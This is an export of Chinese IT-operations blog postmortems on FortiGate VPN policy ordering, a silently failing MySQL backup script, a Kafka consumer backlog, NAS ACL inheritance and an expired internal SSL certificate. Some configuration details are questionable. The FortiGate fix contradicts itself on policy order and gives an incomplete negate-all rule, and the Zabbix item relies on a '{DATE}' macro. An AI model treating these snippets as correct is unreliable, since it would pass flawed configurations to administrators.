系统。全部分支-总部通信中断。\n排查过程\r第一步：确认是策略变更导致\r回滚了最近一次的防火墙策略变更：删除新增的出站互联网访问策略。5 分钟后隧道自动全部恢复。确认是新增策略导致了隧道中断。\n第二步：分析新增策略为什么影响 VPN\r新增的策略：\n1 2 3 4 5 6 7 8 9 10 11 12 13 config firewall policy edit 0 set name \u0026#34;Allow Internal to Internet\u0026#34; set srcintf \u0026#34;internal\u0026#34; set dstintf \u0026#34;wan1\u0026#34; set srcaddr \u0026#34;all\u0026#34; # \u0026lt;--- 问题所在 set dstaddr \u0026#34;all\u0026#34; set action accept set schedule \u0026#34;always\u0026#34; set service \u0026#34;ALL\u0026#34; set nat enable # \u0026lt;--- 问题所在 next end 策略匹配 srcaddr \u0026quot;all\u0026quot; + dstaddr \u0026quot;all\u0026quot;，且开启了 nat enable（源 NAT）。\n在 FortiGate 中，防火墙策略是按顺序匹配的（从上到下）。当这条\u0026quot;允许内网到互联网\u0026quot;的策略被放在策略列表顶部（edit 0）后，所有从内网出发的流量——包括发往分支机构网段的 VPN 流量——在到达 VPN 策略之前就被这条\u0026quot;Internet 出站\u0026quot;策略匹配了。\n更致命的是 nat enable：VPN 流量被这条策略匹配后，在路由前被做了源 NAT，源 IP 变成了 wan1 的公网 IP，于是后续的 VPN 策略无法根据原始源 IP 匹配到对应的隧道规则。\n第三步：验证流量路径\r1 2 3 4 5 6 7 8 9 10 FG200F # diagnose sniffer packet any \u0026#34;host 10.2.1.1 and host 10.3.1.1\u0026#34; 4 interfaces=[any] filters=[host 10.2.1.1 and host 10.3.1.1] 10. packets captured pkt 1: 10.2.1.1 -\u0026gt; 10.3.1.1: icmp: echo request # 进入 internal 口，源 10.2.1.1（总部内网） # 匹配策略 0 → NAT → 源 IP 变为 100.1.1.1（wan1公网IP） # 后续没有策略匹配 100.1.1.1 → 10.3.1.1 # 数据包被丢弃 VPN 流量被\u0026quot;劫持\u0026quot;到了错误的安全策略中，并被 NAT 破坏了原始的源 IP。\n第四步：完整策略列表分析\r1 2 3 4 5 FG200F # show firewall policy # 策略 0（新增）: internal → wan1, src: all, dst: all, NAT enabled # 策略 1: internal → wan1, src: Branch-SH, dst: Branch-SH-Subnet, NO NAT # 策略 2: internal → wan1, src: Branch-BJ, dst: Branch-BJ-Subnet, NO NAT # ... VPN 策略（1-5）虽然存在，但由于策略 0 的 srcaddr \u0026quot;all\u0026quot; 完全覆盖了所有流量，VPN 策略永远不会被命中。FortiGate 的策略匹配是首次匹配即停止。\n解决方案\r修正策略顺序和匹配条件\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 必须先配置 VPN 策略（编辑为更高的序号，确保先匹配） config firewall policy edit 6 set name \u0026#34;Allow Internal to Internet\u0026#34; set srcintf \u0026#34;internal\u0026#34; set dstintf \u0026#34;wan1\u0026#34; set srcaddr \u0026#34;Internal-LAN\u0026#34; # 明确指定内网地址对象 set dstaddr \u0026#34;all\u0026#34; set action accept set schedule \u0026#34;always\u0026#34; set service \u0026#34;ALL\u0026#34; set nat enable next end # 确保 VPN 策略在新互联网策略之前（策略 1-5） 或者更优的方案：在互联网策略中使用 negate 排除 VPN 目标：\n1 2 3 4 5 6 7 8 9 10 11 12 config firewall policy edit 0 set name \u0026#34;Allow Internal to Internet\u0026#34; set srcintf \u0026#34;internal\u0026#34; set dstintf \u0026#34;wan1\u0026#34; set srcaddr \u0026#34;all\u0026#34; set dstaddr \u0026#34;all\u0026#34; set dstaddr-negate enable # 否定all # 再加明确的排除分支地址对象 ... next end 根因分析\r直接原因：新增的互联网出站策略使用了 srcaddr \u0026quot;all\u0026quot; + dstaddr \u0026quot;all\u0026quot; 的宽泛匹配条件，加上被放置在策略列表最顶部，且开启了 NAT，导致 VPN 流量在匹配到正确的 VPN 策略之前就被截获并做了错误的 NAT 处理。\n深层原因：\n缺少\u0026quot;变更影响分析\u0026quot;流程——没人审查新增策略对现有 VPN 策略的影响 策略列表缺乏优先级规划——VPN 策略在下方、通用出站策略在上方是反模式 未使用 srcaddr-negate 或明确的地址对象来缩小匹配范围 预防措施\r策略编排规范：VPN 策略必须在任何宽泛匹配的出站策略之前，且 VPN 策略必须包含精确的源/目标地址对象 策略变更前的影响分析：新增策略后通过 diagnose firewall proute list 检查路由-策略匹配路径 变更窗口和回滚计划：涉及防火墙策略的变更必须有明确的回滚步骤（像这次直接删除策略 0 就恢复了） 地址对象标准化：所有策略必须使用有意义的地址对象名称（Branch-SH-Subnet），禁止裸写 IP 范围 策略注释强制填写：每条策略必须写清楚\u0026quot;为什么需要这条策略\u0026quot;，方便变更时审查 策略变更审批双签：涉及网络的防火墙策略变更需要第二人复核，重点检查是否会\u0026quot;劫持\u0026quot;其他流量 总结\r防火墙策略管理最危险的错误不是\u0026quot;写了一条多余的策略\u0026quot;，而是阻塞或破坏了一条关键的策略。在 FortiGate 的策略模型中，\u0026ldquo;all-to-all with NAT on top\u0026quot;是一条必须极其谨慎使用的规则——它的匹配范围只有\u0026quot;所有流量\u0026quot;和\u0026quot;不匹配\u0026quot;两种可能，而\u0026quot;所有流量\u0026quot;意味着 VPN、管理流量、监控流量等一切都会被它捕获。在防火墙上，精确永远比宽泛更安全，顺序永远比便利更重要。\n","date":"2024-12-06T09:15:00Z","permalink":"/posts/cc3d904a/","title":"FortiGate 策略变更致分支机构 VPN 隧道全断的复盘"},{"content":"问题背景\r公司生产环境有 6 套 MySQL 实例，运维团队编写了一套自动化备份脚本，通过 crontab 每天凌晨 2:00 执行全量备份（mysqldump），备份文件存储在专用的 NFS 挂载点 /backup/mysql/。备份保留 30 天，过期文件自动清理。Zabbix 配置了备份文件新鲜度监控（最新备份超过 26 小时告警）。\n故障现象\r11 月 19 日周二上午，DBA 按惯例进行每周备份巡检时发现：生产主库 db-prod-01 的最新备份文件日期停留在 11 月 13 日，其后 5 天的备份全部缺失。\n1 2 3 4 5 6 $ ls -lt /backup/mysql/db-prod-01/ -rw-r--r-- 1 backup backup 2.3G Nov 13 02:15 db-prod-01_20241113.sql.gz -rw-r--r-- 1 backup backup 2.1G Nov 12 02:12 db-prod-01_20241112.sql.gz ... -rw-r--r-- 1 backup backup 2.3G Nov 6 02:11 db-prod-01_20241106.sql.gz # 11月14日至11月18日的备份文件全部缺失 令人不安的是：crontab 日志显示脚本\u0026quot;正常执行\u0026quot;，Zabbix 监控也未触发告警。\n排查过程\r第一步：检查 crontab 执行日志\r1 2 3 4 5 $ grep \u0026#34;mysql_backup\u0026#34; /var/log/cron Nov 14 02:00:01 backup-srv CROND[23451]: (backup) CMD (/opt/scripts/mysql_backup.sh \u0026gt;\u0026gt; /var/log/backup.log 2\u0026gt;\u0026amp;1) Nov 15 02:00:01 backup-srv CROND[28402]: (backup) CMD (/opt/scripts/mysql_backup.sh \u0026gt;\u0026gt; /var/log/backup.log 2\u0026gt;\u0026amp;1) Nov 16 02:00:01 backup-srv CROND[30421]: (backup) CMD (/opt/scripts/mysql_backup.sh \u0026gt;\u0026gt; /var/log/backup.log 2\u0026gt;\u0026amp;1) ... crontab 确实每天执行了，退出码为 0（成功）。\n第二步：检查备份日志\r1 2 3 4 5 6 7 8 9 10 $ tail -50 /var/log/backup.log [2024-11-14 02:00:02] 开始备份 db-prod-01 [2024-11-14 02:00:02] WARNING: 磁盘空间不足，可用空间仅 1.2GB，需要 2.5GB [2024-11-14 02:00:02] 备份已跳过 [2024-11-15 02:00:02] 开始备份 db-prod-01 [2024-11-15 02:00:02] WARNING: 磁盘空间不足，可用空间仅 1.2GB，需要 2.5GB [2024-11-15 02:00:02] 备份已跳过 ...（连续5天相同的跳过记录） 关键发现：脚本检测到磁盘空间不足后打印了 WARNING，然后退出，但退出码仍为 0。\n第三步：审查脚本退出码逻辑\r1 2 3 4 5 6 $ cat /opt/scripts/mysql_backup.sh | grep -A5 \u0026#34;磁盘空间\u0026#34; if [ $AVAIL -lt 3000 ]; then echo \u0026#34;[$(date)] WARNING: 磁盘空间不足，可用空间仅 ${AVAIL}MB，需要 2500MB\u0026#34; echo \u0026#34;[$(date)] 备份已跳过\u0026#34; exit 0 # \u0026lt;--- 问题在这里！磁盘不足但返回了退出码0！ fi 脚本在磁盘空间不足时 echo 了警告信息，但用了 exit 0 而非 exit 1。crontab 只看退出码判断成功/失败——所以 crontab 认为脚本执行成功，Zabbix 的监控也未触发（因为监控也是通过检查退出码来判断的）。\n第四步：检查为什么 Zabbix 没告警\rZabbix 备份监控项配置：\n1 2 Item: vfs.file.time[/backup/mysql/db-prod-01/db-prod-01_{DATE}.sql.gz,change] Trigger: {host:vfs.file.time[...].now} - {host:vfs.file.time[...].last()} \u0026gt; 93600 触发器逻辑：最新备份文件时间距当前时间超过 26 小时告警。\n但问题是——11 月 13 日的备份文件仍然存在于磁盘上。Zabbix 的 vfs.file.time 检查的是文件系统的最后修改时间，而非备份是否真正包含了前一天的完整数据。备份脚本虽然跳过了 14-18 日，但 13 日的文件因为保留策略（30天）仍在磁盘上，Zabbix 每次都读到 13 日的文件并认为\u0026quot;最新备份在 26 小时内\u0026quot;。\n等等，这不对——13 日的备份怎么可能在 14-18 日仍然被视为\u0026quot;25 小时内\u0026quot;？\n更仔细地看 Zabbix 配置：\n1 Item: vfs.file.time[/backup/mysql/db-prod-01/db-prod-01_{DATE}.sql.gz,change] 这里的 {DATE} 是 Zabbix 的宏，每天都会替换为当天的日期。比如 11 月 14 日检查的是 db-prod-01_20241114.sql.gz，这个文件不存在时 vfs.file.time 返回错误（而非 0），而触发器只配置了成功值 \u0026gt; 26h 才告警——文件不存在时的错误状态被忽略了！\n这就是监控的双重失效：退出码 0 欺骗了 crontab，文件不存在的错误返回值欺骗了 Zabbix 触发器。\n解决方案\r修正备份脚本退出码： 1 2 3 4 5 if [ $AVAIL -lt 3000 ]; then echo \u0026#34;[$(date)] ERROR: 磁盘空间不足\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;[$(date)] 备份已跳过\u0026#34; \u0026gt;\u0026amp;2 exit 1 # 改为非0退出码 fi 清理磁盘空间： 1 2 3 # 删除超过30天的备份 find /backup/mysql/ -name \u0026#34;*.gz\u0026#34; -mtime +30 -delete # 清理后释放了 8GB 补充缺失备份：手动执行一次全量备份。\n修正 Zabbix 监控：\n1 2 3 # 触发器改为：文件不存在 OR 修改时间超过26小时 {host:vfs.file.time[...].last()}=0 or {host:vfs.file.time[...].now}-{host:vfs.file.time[...].last()}\u0026gt;93600 根因分析\r直接原因：备份脚本在磁盘空间不足时以 exit 0 退出，crontab 认为执行成功，Zabbix 也未收到错误信号。\n深层原因：\n脚本的退出码使用不规范（非致命错误也返回 0） Zabbix 触发器未覆盖\u0026quot;文件不存在\u0026quot;的异常情况 备份磁盘空间没有独立的容量监控（30 天保留策略未考虑数据增长） 缺少备份成功后的验证步骤（如校验 gzip -t） 预防措施\r退出码规范：脚本中任何非正常完成的情况必须返回非 0 退出码 备份验证：备份完成后 gzip -t 校验完整性 + 检查文件大小是否合理（\u0026gt;50% 前一日大小） 磁盘容量独立监控：对 /backup/mysql 分区单独设置 \u0026gt;80% 告警 数据库增长监控：统计每月备份大小趋势，当增长率 \u0026gt;20% 时提前扩容 多维度监控：不要只依赖一种监控方式，退出码 + 文件时间 + 文件大小三者交叉验证 定期恢复演练：每季度随机抽取一个备份文件进行恢复验证 总结\r备份系统最可怕的不是\u0026quot;备份失败\u0026quot;，而是\u0026quot;备份失败了但没有人知道\u0026quot;。这次事故暴露了两个核心问题：退出码的滥用和监控的盲区。一个执行了 5 天、每次都\u0026quot;成功\u0026quot;的备份脚本，实际上从未生成过有效的备份文件。如果在第 6 天确实发生了数据丢失需要回滚，DBA 会惊讶地发现最近可用的备份停在 6 天前。备份脚本的退出码不应该是一个可选项——所有非正常路径都必须返回非 0，没有例外。\n","date":"2024-11-19T08:30:00Z","permalink":"/posts/7154a8f0/","title":"记一次 MySQL 自动备份静默失败、缺失近一周备份"},{"content":"问题背景\r公司订单处理中心采用 Kafka 作为消息中间件，上游订单服务将新订单写入 Topic order-events（16 分区），下游 3 个消费者服务（订单处理、库存扣减、通知推送）共用同一个消费者组 order-processor-group。日均消息量约 50 万条，正常 lag \u0026lt; 200。\n故障现象\r10 月 11 日下午 4:00，运维收到订单积压告警：超过 500 笔订单创建超过 30 分钟但未进入\u0026quot;处理中\u0026quot;状态。登录 Kafka 监控发现：\n1 2 3 4 5 6 7 8 9 $ kafka-consumer-groups --bootstrap-server kafka01:9092 \\ --group order-processor-group --describe GROUP TOPIC PARTITION CURRENT-OFFSET LOG-END-OFFSET LAG order-processor-group order-events 0 14520321 14552350 32029 order-processor-group order-events 1 13890234 13945021 54787 ... order-processor-group order-events 15 15230874 15283456 52582 # 总lag: 856,234条 消费者组 lag 从正常的 200 以下飙升至 85 万条，所有 16 个分区全线积压。但 Kafka broker 的 CPU、磁盘 IO 均正常，说明问题出在消费端。\n排查过程\r第一步：检查消费者服务状态\r1 2 3 4 5 $ kubectl get pods -l app=order-processor NAME READY STATUS RESTARTS AGE order-processor-6d7f8b9c4-abc12 1/1 Running 23 (1m ago) 2m order-processor-6d7f8b9c4-def34 1/1 Running 18 (2m ago) 2m order-processor-6d7f8b9c4-ghi56 1/1 Running 25 (30s ago) 2m 容器频繁重启（累计 23、18、25 次），每次存活不到 2 分钟。这就是 lag 爆炸的原因：消费者不断崩溃重启，根本没有在消费。\n第二步：查看消费者日志\r1 2 3 4 5 6 2024-10-11 16:03:21.456 ERROR [pool-2-thread-1] c.c.order.consumer.OrderConsumer - Failed to deserialize message, partition=3, offset=13981234 com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field \u0026#34;paymentChannel\u0026#34; (class com.company.order.dto.OrderMessage), not marked as ignorable (5 known properties: \u0026#34;orderId\u0026#34;, \u0026#34;userId\u0026#34;, \u0026#34;amount\u0026#34;, \u0026#34;createTime\u0026#34;, \u0026#34;payMethod\u0026#34;]) 消费者在反序列化 Kafka 消息时抛出了 UnrecognizedPropertyException——消息体中有字段 paymentChannel，但消费者代码中的 DTO 类没有定义这个字段。\n第三步：追溯变更\r检查 Git 提交记录：\n1 2 3 4 5 commit a1b2c3d (2 hours ago) Author: dev-zhang feat: 订单DTO增加paymentChannel字段支持多渠道支付 commit f4e5g6h (1 day ago) 上游订单服务在下午 3:45 发布了新版本，在 OrderMessage DTO 中新增了 paymentChannel 字段。消息写入 Kafka 时该字段被序列化，但 消费者服务并未同步更新——消费者代码中的 DTO 没有 paymentChannel 字段，默认 Jackson 反序列化策略是 FAIL_ON_UNKNOWN_PROPERTIES。\n第四步：为什么没有触发消费者重试/跳过？\r1 2 3 4 5 6 # consumer配置 spring.kafka.consumer: max-poll-records: 500 enable-auto-commit: false # 手动提交 max-attempts: -1 # 无限重试！ backoff-delay: 3000 消费者配置了 max-attempts: -1（无限重试），且使用手动提交 enable-auto-commit: false。每批 poll 到 500 条消息中只要包含一条新格式的消息，反序列化失败 → 抛出异常 → 不提交 offset → 下次 poll 到同一批消息 → 再次失败 → 死循环。\n解决方案\r紧急处理：重启消费者 + 跳过问题消息\r1 2 3 4 5 6 # 1. 临时将消费者组的offset跳过问题分区中的问题消息 kafka-consumer-groups --bootstrap-server kafka01:9092 \\ --group order-processor-group --topic order-events \\ --partition 3 --reset-offsets --to-latest --execute # 对每个有问题的分区重复操作（约12万条消息被丢弃，但业务可补单） 修复消费者代码\r1 2 3 4 5 6 // 方案一：忽略未知字段（最快） @JsonIgnoreProperties(ignoreUnknown = true) public class OrderMessage { ... } // 方案二：配置全局Jackson策略 spring.jackson.deserialization.FAIL_ON_UNKNOWN_PROPERTIES=false 修复重试策略\r1 2 3 4 spring.kafka.consumer: max-attempts: 3 # 最多重试3次后跳过 backoff-delay: 3000 retry-topic: order-events-dlq # 失败消息进死信队列 根因分析\r直接原因：上游服务新增序列化字段后未同步更新消费者 DTO，Jackson 默认拒绝未知字段，消费者反复失败无法提交 offset，形成消息积压雪崩。\n深层原因：\n上下游服务未遵循消费者优先的变更发布策略（先更新消费者兼容新字段，再更新生产者） Jackson 默认的 FAIL_ON_UNKNOWN_PROPERTIES 策略对 Kafka 消费者过于严格 无限重试 + 手动提交 = 单条坏消息可以永久阻塞整个分区 缺少死信队列（DLQ）机制隔离坏消息 预防措施\r消费者兼容性优先：所有新字段上线前，消费者必须先配置 ignorableUnknownProperties 消息 Schema 版本管理：引入 Avro + Schema Registry，在写入阶段就能校验兼容性 死信队列：所有消费者都配置 DLQ，三次重试失败自动转入死信队列 重试上限：禁止 max-attempts: -1，强制设置上限（推荐 3-10 次） lag 梯度告警：lag \u0026gt; 1000 告警（目前有），lag 增长率 \u0026gt; 100/分钟 紧急告警（需新增） 变更通知机制：任何涉及消息格式的变更，需在 Kafka 管理群中通知所有消费者负责方 总结\rKafka 消息积压的根因往往不在 broker，而在消费端——不是消费者挂了，就是消费者处理不了某条消息。这次故障的教训是双重的：技术层面，Jackson 的 FAIL_ON_UNKNOWN_PROPERTIES 应该作为 Kafka 消费者的\u0026quot;强制关闭项\u0026quot;；流程层面，消息格式变更必须有跨团队的兼容性审查。当一个字段上线导致 12 万条消息被丢弃，这笔账要算在整个发布流程上，而不只是写 bug 的开发者。\n","date":"2024-10-11T18:20:00Z","permalink":"/posts/3863dad1/","title":"Kafka 消费者组积压，订单为何延迟两小时才处理？"},{"content":"问题背景\r公司使用一台群晖 DS1821+ NAS 作为部门共享文件服务器，通过 SMB 协议提供网络驱动器映射。每个部门有一个独立共享文件夹，权限通过 Windows ACL 精细化控制。市场部共享文件夹路径为 \\\\NAS\\Market，设有三个安全组：Market-RW（读写）、Market-RO（只读）、Market-Mgmt（管理）。\n故障现象\r周三下午 3:15，市场部多名同事反馈：映射的网络驱动器 Z 盘无法打开，双击后提示\u0026quot;你没有权限访问此文件夹。请与网络管理员联系。\u0026ldquo;与此同时，其他部门（如财务部 \\\\NAS\\Finance）访问正常。\n检查 NAS DSM 控制面板——共享文件夹 Market 状态正常，磁盘正常，SMB 服务运行中。但市场部 25 名同事中有 18 名报告无法访问，7 名可以正常访问。\n排查过程\r第一步：对比能访问和不能访问的用户\r能访问的用户：zhangsan、lisi、wangwu 等 7 人 不能访问的用户：zhaoliu、sunqi 等 18 人\n两组用户都属于 Market-RW 安全组。排除组权限问题。\n第二步：逐级检查 ACL\r在 NAS 上用 getfacl 检查路径权限：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ getfacl /volume1/Share/Market # file: volume1/Share/Market # owner: admin # group: domain users user::rwx group::r-x group:Market-RW:rwx group:Market-RO:r-x group:Market-Mgmt:rwx mask::rwx other::--- default:user::rwx default:group::r-x default:group:Market-RW:rwx ... 共享文件夹本身的权限正确。当检查子目录时发现问题：\n1 2 3 4 5 6 7 8 9 10 11 12 $ getfacl /volume1/Share/Market/2024Q3/Campaigns/Q4-Planning # file: volume1/Share/Market/2024Q3/Campaigns/Q4-Planning # owner: zhangsan # group: domain users user::rwx user:zhangsan:rwx # 显式ACE user:lisi:rwx # 显式ACE user:wangwu:rwx # 显式ACE group::r-x group:domain users:r-x mask::rwx other::--- Q4-Planning 目录下只有 3 个显式 ACE，没有继承父级的 Market-RW 安全组权限！这意味着不在显式 ACE 中的人无法访问该目录及其子内容。\n第三步：追溯权限变更历史\r查看 NAS 的 SMB 操作日志：\n1 2 2024-09-24 16:42:31 用户 zhangsan 在 \\\\NAS\\Market\\2024Q3\\Projects\\ 将文件夹 \u0026#34;Q4-Planning\u0026#34; 移动至 \\\\NAS\\Market\\2024Q3\\Campaigns\\ 原来 zhangsan 昨天下午将 Q4-Planning 文件夹从一个位置移动到了另一个位置。在 SMB/NTFS 中，同卷移动文件夹时，文件夹会保留原始 ACL。但 Q4-Planning 原始位置就在 Market 共享中，为何会丢失继承？\n进一步检查发现：原始路径 Projects\\Q4-Planning 开启了\u0026quot;显式权限\u0026quot;模式（关闭了继承），即该文件夹的 \u0026ldquo;Include inheritable permissions from this object\u0026rsquo;s parent\u0026rdquo; 未被勾选。当它被移动到 Campaigns 下时，由于已关闭继承，不会自动获取目标位置的权限继承。\n而 18 名不能访问的用户正是因为不在 Q4-Planning 的显式 ACE 列表中，他们访问 Market 根目录正常，但一进入 2024Q3\\Campaigns\\Q4-Planning 就被拒绝。\n解决方案\r紧急修复：在 Q4-Planning 上重新启用继承： 1 2 # Windows侧操作 icacls \u0026#34;\\\\NAS\\Market\\2024Q3\\Campaigns\\Q4-Planning\u0026#34; /inheritance:e /T 补全安全组权限：确保 Market-RW 组对所有子目录有完全访问权限。\n验证恢复：\n1 2 # 使用不能访问的用户身份测试 runas /user:zhaoliu \u0026#34;explorer \\\\NAS\\Market\\2024Q3\\Campaigns\\Q4-Planning\u0026#34; 根因分析\r直接原因：Q4-Planning 文件夹被设置为\u0026quot;关闭权限继承\u0026rdquo;，移动后未能自动获取目标父目录的安全组 ACL，导致只保留了 3 个显式 ACE——18 名通过安全组获得权限的用户被拒绝访问。\n深层原因：\n缺乏 NAS 共享文件夹的权限管理规范，用户可在本地修改 ACL 文件夹移动操作时用户不了解 NTFS ACL 继承机制 没有对关键共享文件夹的 ACL 变化做审计监控 预防措施\r锁定权限管理：在 NAS 上禁用 \u0026ldquo;允许用户修改文件夹权限\u0026rdquo;，权限变更统一由 IT 通过管理界面操作 强制权限继承：对所有部门共享文件夹的根目录启用\u0026quot;强制子对象继承\u0026quot;，禁止关闭继承 ACL 变更审计：开启 NAS 的 ACL 变更日志，权限变动时发送通知给 IT 知识培训：向各部门文档管理员培训 NTFS 权限机制，特别是\u0026quot;移动 vs 复制\u0026quot;、\u0026ldquo;继承开关\u0026quot;的含义 定期审计脚本： 1 2 3 4 5 6 7 # 每周检查所有子目录是否继承了父级权限 Get-ChildItem \u0026#34;\\\\NAS\\Market\u0026#34; -Recurse -Directory | ForEach-Object { $acl = Get-Acl $_.FullName if (-not $acl.AreAccessRulesProtected) { Write-Host \u0026#34;$($_.FullName): OK\u0026#34; } else { Write-Host \u0026#34;$($_.FullName): INHERITANCE BROKEN\u0026#34; } } 总结\rWindows/NTFS ACL 的权限继承是一个\u0026quot;沉默的陷阱\u0026rdquo;——看起来像一个简单的文件移动操作，实际上可能悄悄改变了整个权限结构。问题在根源上是一个管理问题而非技术问题：谁有权限变更文件夹的 ACL？谁应该负责？如果没有明确的权限边界和审计机制，这种\u0026quot;我今天还能访问，明天就报权限不足\u0026quot;的情况会反复出现。\n","date":"2024-09-25T15:45:00Z","permalink":"/posts/8e87c01f/","title":"记一次 NAS 权限继承异常导致的跨部门文件访问故障"},{"content":"问题背景\r某周四早上 8:30，帮助台工单系统开始涌入大量相同类型的工单：员工反映多个内网系统无法访问，浏览器提示\u0026quot;您的连接不是私密连接\u0026quot;或\u0026quot;证书无效\u0026quot;，点击\u0026quot;高级\u0026quot;可以看到错误信息 NET::ERR_CERT_DATE_INVALID。\n受影响的系统包括：内网 GitLab、Jira、Confluence、Jenkins、内部文档管理系统等约 12 个 HTTPS 服务，全部托管在内网环境中。\n故障现象\r浏览器打开内网 HTTPS 地址时报 SSL 证书错误：NET::ERR_CERT_DATE_INVALID Chrome 错误详情：服务器证书已过期，证书有效期显示截止日期为昨日 影响约 12 个内网 HTTPS 服务 使用 HTTP（非 HTTPS）的内网服务不受影响 外网面向公众的 HTTPS 服务（Let\u0026rsquo;s Encrypt 证书）不受影响 排查过程\r第一步：确认证书过期情况\r用 openssl 工具快速检查几个受影响服务的证书：\n1 echo | openssl s_client -connect gitlab.internal.company.com:443 -servername gitlab.internal.company.com 2\u0026gt;/dev/null | openssl x509 -noout -dates 输出：\n1 2 notBefore=Sep 5 00:00:00 2021 GMT notAfter=Sep 4 23:59:59 2024 GMT 证书昨日（2024-09-04）到期，今天（2024-09-05）证书已失效。\n再检查其他几个受影响的服务：\n1 2 3 4 for host in gitlab jira confluence jenkins docs; do echo -n \u0026#34;$host.internal.company.com: \u0026#34; echo | openssl s_client -connect \u0026#34;$host.internal.company.com:443\u0026#34; 2\u0026gt;/dev/null | openssl x509 -noout -enddate 2\u0026gt;/dev/null done 输出：\n1 2 3 4 5 gitlab.internal.company.com: notAfter=Sep 4 23:59:59 2024 GMT jira.internal.company.com: notAfter=Sep 4 23:59:59 2024 GMT confluence.internal.company.com: notAfter=Sep 4 23:59:59 2024 GMT jenkins.internal.company.com: notAfter=Sep 4 23:59:59 2024 GMT docs.internal.company.com: notAfter=Sep 4 23:59:59 2024 GMT 所有受影响的服务证书到期日期完全一致：2024年9月4日。这说明这 12 个服务使用的是同一张证书，而不是各自独立的证书。\n第二步：确认证书类型\r1 echo | openssl s_client -connect gitlab.internal.company.com:443 2\u0026gt;/dev/null | openssl x509 -noout -text | grep -A5 \u0026#34;Subject Alternative Name\u0026#34; 输出：\n1 2 3 X509v3 Subject Alternative Name: DNS:*.internal.company.com DNS:internal.company.com 这是一张 内网通配符证书（Wildcard Certificate），覆盖所有 *.internal.company.com 的子域名。证书由内部 CA（根证书已部署到公司所有终端的信任链）签发，3 年有效期，上一次签发是 2021 年 9 月，今天正好到期。\n第三步：为什么没有收到到期预警？\r翻查监控系统配置，发现：\nZabbix 中确实有 SSL 证书到期监控项，但只对公网域名（www.company.com、api.company.com 等）进行监控，内网域名没有加入监控列表 上一任运维工程师（已离职）当时签发这张证书时，没有在日历中设置到期提醒，也没有记录在运维手册中 邮件告警脚本存在，但 3 年前配置后从未验证过是否真正发出了告警 第四步：找到内部 CA\r通过证书信息找到签发这张证书的内部 CA：\n1 echo | openssl s_client -connect gitlab.internal.company.com:443 2\u0026gt;/dev/null | openssl x509 -noout -issuer 输出：\n1 issuer=C=CN, O=Company Internal CA, CN=Company Root CA G1 查找 CA 证书和私钥的存放位置，询问了老员工，最终找到保存在一台运维管理服务器（mgmt-srv）上的 /etc/pki/internal-ca/ 目录下：\n1 2 ls /etc/pki/internal-ca/ # ca.crt ca.key ca.srl issued/ 确认内部 CA 私钥存在且有效。\n第五步：重新签发证书\r重新生成一张 3 年有效期的通配符证书，这次改为 3 年并在交接文档中记录：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # 生成新的私钥 openssl genrsa -out /tmp/wildcard-internal.key 2048 # 生成 CSR（证书签名请求） cat \u0026gt; /tmp/san.cnf \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; [req] req_extensions = v3_req distinguished_name = req_distinguished_name [req_distinguished_name] [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = *.internal.company.com DNS.2 = internal.company.com EOF openssl req -new -key /tmp/wildcard-internal.key \\ -out /tmp/wildcard-internal.csr \\ -subj \u0026#34;/C=CN/O=Company/CN=*.internal.company.com\u0026#34; \\ -config /tmp/san.cnf # 使用内部 CA 签发（有效期 3 年） openssl x509 -req -in /tmp/wildcard-internal.csr \\ -CA /etc/pki/internal-ca/ca.crt \\ -CAkey /etc/pki/internal-ca/ca.key \\ -CAcreateserial \\ -out /tmp/wildcard-internal.crt \\ -days 1095 \\ -extensions v3_req \\ -extfile /tmp/san.cnf # 验证新证书 openssl x509 -noout -dates -in /tmp/wildcard-internal.crt 输出：\n1 2 notBefore=Sep 5 02:10:00 2024 GMT notAfter=Sep 4 02:10:00 2027 GMT 第六步：更新各服务的证书\r将新证书分发到所有受影响的服务器，并替换旧证书：\n1 2 3 4 5 6 # 复制到各服务器（以 Nginx 为例） scp /tmp/wildcard-internal.crt user@gitlab-server:/etc/nginx/ssl/internal.crt scp /tmp/wildcard-internal.key user@gitlab-server:/etc/nginx/ssl/internal.key # 重载 Nginx ssh user@gitlab-server \u0026#34;nginx -t \u0026amp;\u0026amp; nginx -s reload\u0026#34; 对所有 12 个服务逐一执行。约 40 分钟后，全部服务恢复正常。\n解决方案总结\r重签内部通配符证书（有效期至 2027-09-04） 更新所有 12 个内网 HTTPS 服务的证书文件并重载 在 Zabbix 中添加对内网域名的 SSL 证书到期监控（30 天、14 天、7 天分级告警） 建立证书台账，记录所有证书的域名、有效期、存放位置、签发时间 根因分析\r根本原因是证书生命周期管理缺失：内网证书的签发、更新、到期预警没有纳入规范化的管理流程。负责人离职后，这段\u0026quot;历史知识\u0026quot;彻底断层，直到证书真正过期才被动发现。\n预防措施\r1. 全面的证书到期监控\n1 2 3 4 5 6 7 8 9 10 # Zabbix 自定义监控项（检查证书到期天数） #!/bin/bash DOMAIN=$1 PORT=${2:-443} DAYS=$(echo | openssl s_client -connect \u0026#34;$DOMAIN:$PORT\u0026#34; 2\u0026gt;/dev/null \\ | openssl x509 -noout -enddate 2\u0026gt;/dev/null \\ | sed \u0026#39;s/notAfter=//\u0026#39; \\ | xargs -I{} date -d \u0026#34;{}\u0026#34; +%s \\ | xargs -I{} bash -c \u0026#39;echo $(( ($1 - $(date +%s)) / 86400 ))\u0026#39; - {}) echo $DAYS 将所有内网和外网 HTTPS 域名加入监控。\n2. 建立证书台账\n在内部 Wiki 或文档管理系统中记录所有证书信息，包括到期时间，设置日历提醒（提前 90 天、30 天各提醒一次）。\n3. 考虑迁移到 ACME 协议自动续签\n对内网环境，可以搭建内部 ACME 服务（如 step-ca），实现证书自动续签，从根本上消除手动管理的风险。\n总结\r证书管理是一项容易被遗忘但后果严重的运维工作。3 年有效期的证书，在签发后会很快淡出运维视野，直到某天突然\u0026quot;爆炸\u0026quot;。解决之道不是靠记忆力，而是靠自动化监控和标准化流程。\n一次简单的证书过期，影响了 12 个系统、全公司近 300 名员工的工作效率，教训深刻。\n","date":"2024-09-05T08:30:00Z","permalink":"/posts/557c47d3/","title":"记一次 SSL 证书过期致内网 HTTPS 全面中断"},{"content":"问题背景\r公司办公楼 3 楼为市场部和法务部办公区，该楼层通过一台 H3C S5130 接入交换机上联至核心交换机。接入交换机下联约 